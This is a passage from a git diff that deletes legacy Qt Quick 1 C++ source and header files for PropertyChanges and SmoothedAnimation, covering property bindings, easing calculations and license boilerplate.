-} - -void QDeclarative1PropertyChanges::changeExpression(const QString &name, const QString &expression) -{ - Q_D(QDeclarative1PropertyChanges); - typedef QPair PropertyEntry; - typedef QDeclarative1PropertyChangesPrivate::ExpressionChange ExpressionEntry; - - bool hadValue = false; - - QMutableListIterator propertyIterator(d->properties); - while (propertyIterator.hasNext()) { - PropertyEntry &entry = propertyIterator.next(); - if (entry.first == name) { - propertyIterator.remove(); - hadValue = true; - break; - } - } - - QMutableListIterator expressionIterator(d->expressions); - while (expressionIterator.hasNext()) { - const ExpressionEntry &entry = expressionIterator.next(); - if (entry.name == name) { - entry.expression->setExpression(expression); - if (state() && state()->isStateActive()) { - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name)); - if (oldBinding) { - QDeclarativePropertyPrivate::setBinding(d->property(name), 0); - oldBinding->destroy(); - } - - QDeclarativeBinding *newBinding = new QDeclarativeBinding(expression, object(), qmlContext(this)); - newBinding->setTarget(d->property(name)); - QDeclarativePropertyPrivate::setBinding(d->property(name), newBinding, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor); - } - return; - } - } - - QDeclarativeExpression *newExpression = new QDeclarativeExpression(qmlContext(this), d->object, expression); - expressionIterator.insert(ExpressionEntry(name, QDeclarativeBinding::Invalid, newExpression)); - - if (state() && state()->isStateActive()) { - if (hadValue) { - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name)); - if (oldBinding) { - oldBinding->setEnabled(false, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor); - state()->changeBindingInRevertList(object(), name, oldBinding); - } - - QDeclarativeBinding *newBinding = new QDeclarativeBinding(expression, object(), qmlContext(this)); - newBinding->setTarget(d->property(name)); - QDeclarativePropertyPrivate::setBinding(d->property(name), newBinding, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor); - } else { - QDeclarative1Action action; - action.restore = restoreEntryValues(); - action.property = d->property(name); - action.fromValue = action.property.read(); - action.specifiedObject = object(); - action.specifiedProperty = name; - - - if (d->isExplicit) { - action.toValue = newExpression->evaluate(); - } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(newExpression->expression(), object(), qmlContext(this)); - newBinding->setTarget(d->property(name)); - action.toBinding = newBinding; - action.deletableToBinding = true; - - state()->addEntryToRevertList(action); - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(action.property); - if (oldBinding) - oldBinding->setEnabled(false, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor); - - QDeclarativePropertyPrivate::setBinding(action.property, newBinding, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor); - } - } - } - // what about the signal handler? -} - -QVariant QDeclarative1PropertyChanges::property(const QString &name) const -{ - Q_D(const QDeclarative1PropertyChanges); - typedef QPair PropertyEntry; - typedef QDeclarative1PropertyChangesPrivate::ExpressionChange ExpressionEntry; - - QListIterator propertyIterator(d->properties); - while (propertyIterator.hasNext()) { - const PropertyEntry &entry = propertyIterator.next(); - if (entry.first == name) { - return entry.second; - } - } - - QListIterator expressionIterator(d->expressions); - while (expressionIterator.hasNext()) { - const ExpressionEntry &entry = expressionIterator.next(); - if (entry.name == name) { - return QVariant(entry.expression->expression()); - } - } - - return QVariant(); -} - -void QDeclarative1PropertyChanges::removeProperty(const QString &name) -{ - Q_D(QDeclarative1PropertyChanges); - typedef QPair PropertyEntry; - typedef QDeclarative1PropertyChangesPrivate::ExpressionChange ExpressionEntry; - - QMutableListIterator expressionIterator(d->expressions); - while (expressionIterator.hasNext()) { - const ExpressionEntry &entry = expressionIterator.next(); - if (entry.name == name) { - expressionIterator.remove(); - state()->removeEntryFromRevertList(object(), name); - return; - } - } - - QMutableListIterator propertyIterator(d->properties); - while (propertyIterator.hasNext()) { - const PropertyEntry &entry = propertyIterator.next(); - if (entry.first == name) { - propertyIterator.remove(); - state()->removeEntryFromRevertList(object(), name); - return; - } - } -} - -QVariant QDeclarative1PropertyChanges::value(const QString &name) const -{ - Q_D(const QDeclarative1PropertyChanges); - typedef QPair PropertyEntry; - - QListIterator propertyIterator(d->properties); - while (propertyIterator.hasNext()) { - const PropertyEntry &entry = propertyIterator.next(); - if (entry.first == name) { - return entry.second; - } - } - - return QVariant(); -} - -QString QDeclarative1PropertyChanges::expression(const QString &name) const -{ - Q_D(const QDeclarative1PropertyChanges); - typedef QDeclarative1PropertyChangesPrivate::ExpressionChange ExpressionEntry; - - QListIterator expressionIterator(d->expressions); - while (expressionIterator.hasNext()) { - const ExpressionEntry &entry = expressionIterator.next(); - if (entry.name == name) { - return entry.expression->expression(); - } - } - - return QString(); -} - -void QDeclarative1PropertyChanges::detachFromState() -{ - if (state()) - state()->removeAllEntriesFromRevertList(object()); -} - -void QDeclarative1PropertyChanges::attachToState() -{ - if (state()) - state()->addEntriesToRevertList(actions()); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativepropertychanges_p.h b/src/qtquick1/util/qdeclarativepropertychanges_p.h deleted file mode 100644 index 7335cb034d..0000000000 --- a/src/qtquick1/util/qdeclarativepropertychanges_p.h +++ /dev/null @@ -1,110 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPROPERTYCHANGES_H -#define QDECLARATIVEPROPERTYCHANGES_H - -#include "QtQuick1/private/qdeclarativestateoperations_p.h" -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1PropertyChangesPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1PropertyChanges : public QDeclarative1StateOperation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1PropertyChanges) - - Q_PROPERTY(QObject *target READ object WRITE setObject) - Q_PROPERTY(bool restoreEntryValues READ restoreEntryValues WRITE setRestoreEntryValues) - Q_PROPERTY(bool explicit READ isExplicit WRITE setIsExplicit) -public: - QDeclarative1PropertyChanges(); - ~QDeclarative1PropertyChanges(); - - QObject *object() const; - void setObject(QObject *); - - bool restoreEntryValues() const; - void setRestoreEntryValues(bool); - - bool isExplicit() const; - void setIsExplicit(bool); - - virtual ActionList actions(); - - bool containsProperty(const QString &name) const; - bool containsValue(const QString &name) const; - bool containsExpression(const QString &name) const; - void changeValue(const QString &name, const QVariant &value); - void changeExpression(const QString &name, const QString &expression); - void removeProperty(const QString &name); - QVariant value(const QString &name) const; - QString expression(const QString &name) const; - - void detachFromState(); - void attachToState(); - - QVariant property(const QString &name) const; -}; - -class QDeclarative1PropertyChangesParser : public QDeclarativeCustomParser -{ -public: - QDeclarative1PropertyChangesParser() - : QDeclarativeCustomParser(AcceptsAttachedProperties) {} - - void compileList(QList > &list, const QString &pre, const QDeclarativeCustomParserProperty &prop); - - virtual QByteArray compile(const QList &); - virtual void setCustomData(QObject *, const QByteArray &); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1PropertyChanges) - -QT_END_HEADER - -#endif // QDECLARATIVEPROPERTYCHANGES_H diff --git a/src/qtquick1/util/qdeclarativesmoothedanimation.cpp b/src/qtquick1/util/qdeclarativesmoothedanimation.cpp deleted file mode 100644 index 451441ed14..0000000000 --- a/src/qtquick1/util/qdeclarativesmoothedanimation.cpp +++ /dev/null @@ -1,498 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativesmoothedanimation_p.h" -#include "QtQuick1/private/qdeclarativesmoothedanimation_p_p.h" - -#include "QtQuick1/private/qdeclarativeanimation_p_p.h" - -#include -#include "QtDeclarative/private/qdeclarativeproperty_p.h" - -#include "QtDeclarative/private/qdeclarativeglobal_p.h" - -#include - -#include - -#define DELAY_STOP_TIMER_INTERVAL 32 - -QT_BEGIN_NAMESPACE - - - -QSmoothedAnimation_1::QSmoothedAnimation_1(QObject *parent) - : QAbstractAnimation(parent), to(0), velocity(200), userDuration(-1), maximumEasingTime(-1), - reversingMode(QDeclarative1SmoothedAnimation::Eased), initialVelocity(0), - trackVelocity(0), initialValue(0), invert(false), finalDuration(-1), lastTime(0) -{ - delayedStopTimer.setInterval(DELAY_STOP_TIMER_INTERVAL); - delayedStopTimer.setSingleShot(true); - connect(&delayedStopTimer, SIGNAL(timeout()), this, SLOT(stop())); -} - -void QSmoothedAnimation_1::restart() -{ - initialVelocity = trackVelocity; - if (state() != QAbstractAnimation::Running) - start(); - else - init(); -} - -void QSmoothedAnimation_1::updateState(QAbstractAnimation::State newState, QAbstractAnimation::State /*oldState*/) -{ - if (newState == QAbstractAnimation::Running) - init(); -} - -void QSmoothedAnimation_1::delayedStop() -{ - if (!delayedStopTimer.isActive()) - delayedStopTimer.start(); -} - -int QSmoothedAnimation_1::duration() const -{ - return -1; -} - -bool QSmoothedAnimation_1::recalc() -{ - s = to - initialValue; - vi = initialVelocity; - - s = (invert? -1.0: 1.0) * s; - - if (userDuration > 0 && velocity > 0) { - tf = s / velocity; - if (tf > (userDuration / 1000.)) tf = (userDuration / 1000.); - } else if (userDuration > 0) { - tf = userDuration / 1000.; - } else if (velocity > 0) { - tf = s / velocity; - } else { - return false; - } - - finalDuration = ceil(tf * 1000.0); - - if (maximumEasingTime == 0) { - a = 0; - d = 0; - tp = 0; - td = tf; - vp = velocity; - sp = 0; - sd = s; - } else if (maximumEasingTime != -1 && tf > (maximumEasingTime / 1000.)) { - qreal met = maximumEasingTime / 1000.; - td = tf - met; - - qreal c1 = td; - qreal c2 = (tf - td) * vi - tf * velocity; - qreal c3 = -0.5 * (tf - td) * vi * vi; - - qreal vp1 = (-c2 + sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); - - vp = vp1; - a = vp / met; - d = a; - tp = (vp - vi) / a; - sp = vi * tp + 0.5 * a * tp * tp; - sd = sp + (td - tp) * vp; - } else { - qreal c1 = 0.25 * tf * tf; - qreal c2 = 0.5 * vi * tf - s; - qreal c3 = -0.25 * vi * vi; - - qreal a1 = (-c2 + sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); - - qreal tp1 = 0.5 * tf - 0.5 * vi / a1; - qreal vp1 = a1 * tp1 + vi; - - qreal sp1 = 0.5 * a1 * tp1 * tp1 + vi * tp1; - - a = a1; - d = a1; - tp = tp1; - td = tp1; - vp = vp1; - sp = sp1; - sd = sp1; - } - return true; -} - -qreal QSmoothedAnimation_1::easeFollow(qreal time_seconds) -{ - qreal value; - if (time_seconds < tp) { - trackVelocity = vi + time_seconds * a; - value = 0.5 * a * time_seconds * time_seconds + vi * time_seconds; - } else if (time_seconds < td) { - time_seconds -= tp; - trackVelocity = vp; - value = sp + time_seconds * vp; - } else if (time_seconds < tf) { - time_seconds -= td; - trackVelocity = vp - time_seconds * a; - value = sd - 0.5 * d * time_seconds * time_seconds + vp * time_seconds; - } else { - trackVelocity = 0; - value = s; - delayedStop(); - } - - // to normalize 's' between [0..1], divide 'value' by 's' - return value; -} - -void QSmoothedAnimation_1::updateCurrentTime(int t) -{ - qreal time_seconds = qreal(t - lastTime) / 1000.; - - qreal value = easeFollow(time_seconds); - value *= (invert? -1.0: 1.0); - QDeclarativePropertyPrivate::write(target, initialValue + value, - QDeclarativePropertyPrivate::BypassInterceptor - | QDeclarativePropertyPrivate::DontRemoveBinding); -} - -void QSmoothedAnimation_1::init() -{ - if (velocity == 0) { - stop(); - return; - } - - if (delayedStopTimer.isActive()) - delayedStopTimer.stop(); - - initialValue = target.read().toReal(); - lastTime = this->currentTime(); - - if (to == initialValue) { - stop(); - return; - } - - bool hasReversed = trackVelocity != 0. && - ((!invert) == ((initialValue - to) > 0)); - - if (hasReversed) { - switch (reversingMode) { - default: - case QDeclarative1SmoothedAnimation::Eased: - initialVelocity = -trackVelocity; - break; - case QDeclarative1SmoothedAnimation::Sync: - QDeclarativePropertyPrivate::write(target, to, - QDeclarativePropertyPrivate::BypassInterceptor - | QDeclarativePropertyPrivate::DontRemoveBinding); - trackVelocity = 0; - stop(); - return; - case QDeclarative1SmoothedAnimation::Immediate: - initialVelocity = 0; - break; - } - } - - trackVelocity = initialVelocity; - - invert = (to < initialValue); - - if (!recalc()) { - QDeclarativePropertyPrivate::write(target, to, - QDeclarativePropertyPrivate::BypassInterceptor - | QDeclarativePropertyPrivate::DontRemoveBinding); - stop(); - return; - } -} - -/*! - \qmlclass SmoothedAnimation QDeclarative1SmoothedAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits NumberAnimation - \brief The SmoothedAnimation element allows a property to smoothly track a value. - - A SmoothedAnimation animates a property's value to a set target value - using an ease in/out quad easing curve. When the target value changes, - the easing curves used to animate between the old and new target values - are smoothly spliced together to create a smooth movement to the new - target value that maintains the current velocity. - - The follow example shows one \l Rectangle tracking the position of another - using SmoothedAnimation. The green rectangle's \c x and \c y values are - bound to those of the red rectangle. Whenever these values change, the - green rectangle smoothly animates to its new position: - - \snippet doc/src/snippets/qtquick1/smoothedanimation.qml 0 - - A SmoothedAnimation can be configured by setting the \l velocity at which the - animation should occur, or the \l duration that the animation should take. - If both the \l velocity and \l duration are specified, the one that results in - the quickest animation is chosen for each change in the target value. - - For example, animating from 0 to 800 will take 4 seconds if a velocity - of 200 is set, will take 8 seconds with a duration of 8000 set, and will - take 4 seconds with both a velocity of 200 and a duration of 8000 set. - Animating from 0 to 20000 will take 10 seconds if a velocity of 200 is set, - will take 8 seconds with a duration of 8000 set, and will take 8 seconds - with both a velocity of 200 and a duration of 8000 set. - - The default velocity of SmoothedAnimation is 200 units/second. Note that if the range of the - value being animated is small, then the velocity will need to be adjusted - appropriately. For example, the opacity of an item ranges from 0 - 1.0. - To enable a smooth animation in this range the velocity will need to be - set to a value such as 0.5 units/second. Animating from 0 to 1.0 with a velocity - of 0.5 will take 2000 ms to complete. - - Like any other animation element, a SmoothedAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - \sa SpringAnimation, NumberAnimation, {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ - -QDeclarative1SmoothedAnimation::QDeclarative1SmoothedAnimation(QObject *parent) -: QDeclarative1NumberAnimation(*(new QDeclarative1SmoothedAnimationPrivate), parent) -{ -} - -QDeclarative1SmoothedAnimation::~QDeclarative1SmoothedAnimation() -{ -} - -QDeclarative1SmoothedAnimationPrivate::QDeclarative1SmoothedAnimationPrivate() - : wrapperGroup(new QParallelAnimationGroup), anim(new QSmoothedAnimation_1) -{ - Q_Q(QDeclarative1SmoothedAnimation); - QDeclarative_setParent_noEvent(wrapperGroup, q); - QDeclarative_setParent_noEvent(anim, q); -} - -void QDeclarative1SmoothedAnimationPrivate::updateRunningAnimations() -{ - foreach(QSmoothedAnimation_1* ease, activeAnimations.values()){ - ease->maximumEasingTime = anim->maximumEasingTime; - ease->reversingMode = anim->reversingMode; - ease->velocity = anim->velocity; - ease->userDuration = anim->userDuration; - ease->init(); - } -} - -QAbstractAnimation* QDeclarative1SmoothedAnimation::qtAnimation() -{ - Q_D(QDeclarative1SmoothedAnimation); - return d->wrapperGroup; -} - -void QDeclarative1SmoothedAnimation::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarative1SmoothedAnimation); - QDeclarative1NumberAnimation::transition(actions, modified, direction); - - if (!d->actions) - return; - - QSet anims; - for (int i = 0; i < d->actions->size(); i++) { - QSmoothedAnimation_1 *ease; - bool needsRestart; - if (!d->activeAnimations.contains((*d->actions)[i].property)) { - ease = new QSmoothedAnimation_1(); - d->wrapperGroup->addAnimation(ease); - d->activeAnimations.insert((*d->actions)[i].property, ease); - needsRestart = false; - } else { - ease = d->activeAnimations.value((*d->actions)[i].property); - needsRestart = true; - } - ease->target = (*d->actions)[i].property; - ease->to = (*d->actions)[i].toValue.toReal(); - - // copying public members from main value holder animation - ease->maximumEasingTime = d->anim->maximumEasingTime; - ease->reversingMode = d->anim->reversingMode; - ease->velocity = d->anim->velocity; - ease->userDuration = d->anim->userDuration; - - ease->initialVelocity = ease->trackVelocity; - - if (needsRestart) - ease->init(); - anims.insert(ease); - } - - for (int i = d->wrapperGroup->animationCount() - 1; i >= 0 ; --i) { - if (!anims.contains(d->wrapperGroup->animationAt(i))) { - QSmoothedAnimation_1 *ease = static_cast(d->wrapperGroup->animationAt(i)); - d->activeAnimations.remove(ease->target); - d->wrapperGroup->takeAnimation(i); - delete ease; - } - } -} - -/*! - \qmlproperty enumeration QtQuick1::SmoothedAnimation::reversingMode - - Sets how the SmoothedAnimation behaves if an animation direction is reversed. - - Possible values are: - - \list - \o SmoothedAnimation.Eased (default) - the animation will smoothly decelerate, and then reverse direction - \o SmoothedAnimation.Immediate - the animation will immediately begin accelerating in the reverse direction, beginning with a velocity of 0 - \o SmoothedAnimation.Sync - the property is immediately set to the target value - \endlist -*/ -QDeclarative1SmoothedAnimation::ReversingMode QDeclarative1SmoothedAnimation::reversingMode() const -{ - Q_D(const QDeclarative1SmoothedAnimation); - return (QDeclarative1SmoothedAnimation::ReversingMode) d->anim->reversingMode; -} - -void QDeclarative1SmoothedAnimation::setReversingMode(ReversingMode m) -{ - Q_D(QDeclarative1SmoothedAnimation); - if (d->anim->reversingMode == m) - return; - - d->anim->reversingMode = m; - emit reversingModeChanged(); - d->updateRunningAnimations(); -} - -/*! - \qmlproperty int QtQuick1::SmoothedAnimation::duration - - This property holds the animation duration, in msecs, used when tracking the source. - - Setting this to -1 (the default) disables the duration value. - - If the velocity value and the duration value are both enabled, then the animation will - use whichever gives the shorter duration. -*/ -int QDeclarative1SmoothedAnimation::duration() const -{ - Q_D(const QDeclarative1SmoothedAnimation); - return d->anim->userDuration; -} - -void QDeclarative1SmoothedAnimation::setDuration(int duration) -{ - Q_D(QDeclarative1SmoothedAnimation); - if (duration != -1) - QDeclarative1NumberAnimation::setDuration(duration); - if(duration == d->anim->userDuration) - return; - d->anim->userDuration = duration; - d->updateRunningAnimations(); -} - -qreal QDeclarative1SmoothedAnimation::velocity() const -{ - Q_D(const QDeclarative1SmoothedAnimation); - return d->anim->velocity; -} - -/*! - \qmlproperty real QtQuick1::SmoothedAnimation::velocity - - This property holds the average velocity allowed when tracking the 'to' value. - - The default velocity of SmoothedAnimation is 200 units/second. - - Setting this to -1 disables the velocity value. - - If the velocity value and the duration value are both enabled, then the animation will - use whichever gives the shorter duration. -*/ -void QDeclarative1SmoothedAnimation::setVelocity(qreal v) -{ - Q_D(QDeclarative1SmoothedAnimation); - if (d->anim->velocity == v) - return; - - d->anim->velocity = v; - emit velocityChanged(); - d->updateRunningAnimations(); -} - -/*! - \qmlproperty int QtQuick1::SmoothedAnimation::maximumEasingTime - - This property specifies the maximum time, in msecs, any "eases" during the follow should take. - Setting this property causes the velocity to "level out" after at a time. Setting - a negative value reverts to the normal mode of easing over the entire animation - duration. - - The default value is -1. -*/ -int QDeclarative1SmoothedAnimation::maximumEasingTime() const -{ - Q_D(const QDeclarative1SmoothedAnimation); - return d->anim->maximumEasingTime; -} - -void QDeclarative1SmoothedAnimation::setMaximumEasingTime(int v) -{ - Q_D(QDeclarative1SmoothedAnimation); - if(v == d->anim->maximumEasingTime) - return; - d->anim->maximumEasingTime = v; - emit maximumEasingTimeChanged(); - d->updateRunningAnimations(); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativesmoothedanimation_p.h b/src/qtquick1/util/qdeclarativesmoothedanimation_p.h deleted file mode 100644 index 6ae712c872..0000000000 --- a/src/qtquick1/util/qdeclarativesmoothedanimation_p.h +++ /dev/null @@ -1,103 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESMOOTHEDANIMATION_H -#define QDECLARATIVESMOOTHEDANIMATION_H - -#include -#include "QtQuick1/private/qdeclarativeanimation_p.h" - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarativeProperty; - - -class QDeclarative1SmoothedAnimationPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1SmoothedAnimation : public QDeclarative1NumberAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1SmoothedAnimation) - Q_ENUMS(ReversingMode) - - Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity NOTIFY velocityChanged) - Q_PROPERTY(ReversingMode reversingMode READ reversingMode WRITE setReversingMode NOTIFY reversingModeChanged) - Q_PROPERTY(qreal maximumEasingTime READ maximumEasingTime WRITE setMaximumEasingTime NOTIFY maximumEasingTimeChanged) - -public: - enum ReversingMode { Eased, Immediate, Sync }; - - QDeclarative1SmoothedAnimation(QObject *parent = 0); - ~QDeclarative1SmoothedAnimation(); - - ReversingMode reversingMode() const; - void setReversingMode(ReversingMode); - - virtual int duration() const; - virtual void setDuration(int); - - qreal velocity() const; - void setVelocity(qreal); - - int maximumEasingTime() const; - void setMaximumEasingTime(int); - - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - QAbstractAnimation* qtAnimation(); - -Q_SIGNALS: - void velocityChanged(); - void reversingModeChanged(); - void maximumEasingTimeChanged(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1SmoothedAnimation) - -QT_END_HEADER - -#endif // QDECLARATIVESMOOTHEDANIMATION_H diff --git a/src/qtquick1/util/qdeclarativesmoothedanimation_p_p.h b/src/qtquick1/util/qdeclarativesmoothedanimation_p_p.h deleted file mode 100644 index 5891cac9ba..0000000000 --- a/src/qtquick1/util/qdeclarativesmoothedanimation_p_p.h +++ /dev/null @@ -1,135 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESMOOTHEDANIMATION_P_H -#define QDECLARATIVESMOOTHEDANIMATION_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "QtQuick1/private/qdeclarativesmoothedanimation_p.h" -#include "QtQuick1/private/qdeclarativeanimation_p.h" - -#include "QtQuick1/private/qdeclarativeanimation_p_p.h" - -#include - -#include -#include - -QT_BEGIN_NAMESPACE - -class Q_AUTOTEST_EXPORT QSmoothedAnimation_1 : public QAbstractAnimation -{ -public: - QSmoothedAnimation_1(QObject *parent=0); - - qreal to; - qreal velocity; - int userDuration; - - int maximumEasingTime; - QDeclarative1SmoothedAnimation::ReversingMode reversingMode; - - qreal initialVelocity; - qreal trackVelocity; - - QDeclarativeProperty target; - - int duration() const; - void restart(); - void init(); - -protected: - virtual void updateCurrentTime(int); - virtual void updateState(QAbstractAnimation::State, QAbstractAnimation::State); - -private: - qreal easeFollow(qreal); - qreal initialValue; - - bool invert; - - int finalDuration; - - // Parameters for use in updateCurrentTime() - qreal a; // Acceleration - qreal d; // Deceleration - qreal tf; // Total time - qreal tp; // Time at which peak velocity occurs - qreal td; // Time at which decelleration begins - qreal vp; // Velocity at tp - qreal sp; // Displacement at tp - qreal sd; // Displacement at td - qreal vi; // "Normalized" initialvelocity - qreal s; // Total s - - int lastTime; - - bool recalc(); - void delayedStop(); - - QTimer delayedStopTimer; -}; - -class QDeclarative1SmoothedAnimationPrivate : public QDeclarative1PropertyAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1SmoothedAnimation) -public: - QDeclarative1SmoothedAnimationPrivate(); - void updateRunningAnimations(); - - QParallelAnimationGroup *wrapperGroup; - QSmoothedAnimation_1 *anim; - QHash activeAnimations; -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVESMOOTHEDANIMATION_P_H diff --git a/src/qtquick1/util/qdeclarativespringanimation.cpp b/src/qtquick1/util/qdeclarativespringanimation.cpp deleted file mode 100644 index d99f0d04bf..0000000000 --- a/src/qtquick1/util/qdeclarativespringanimation.cpp +++ /dev/null @@ -1,469 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** 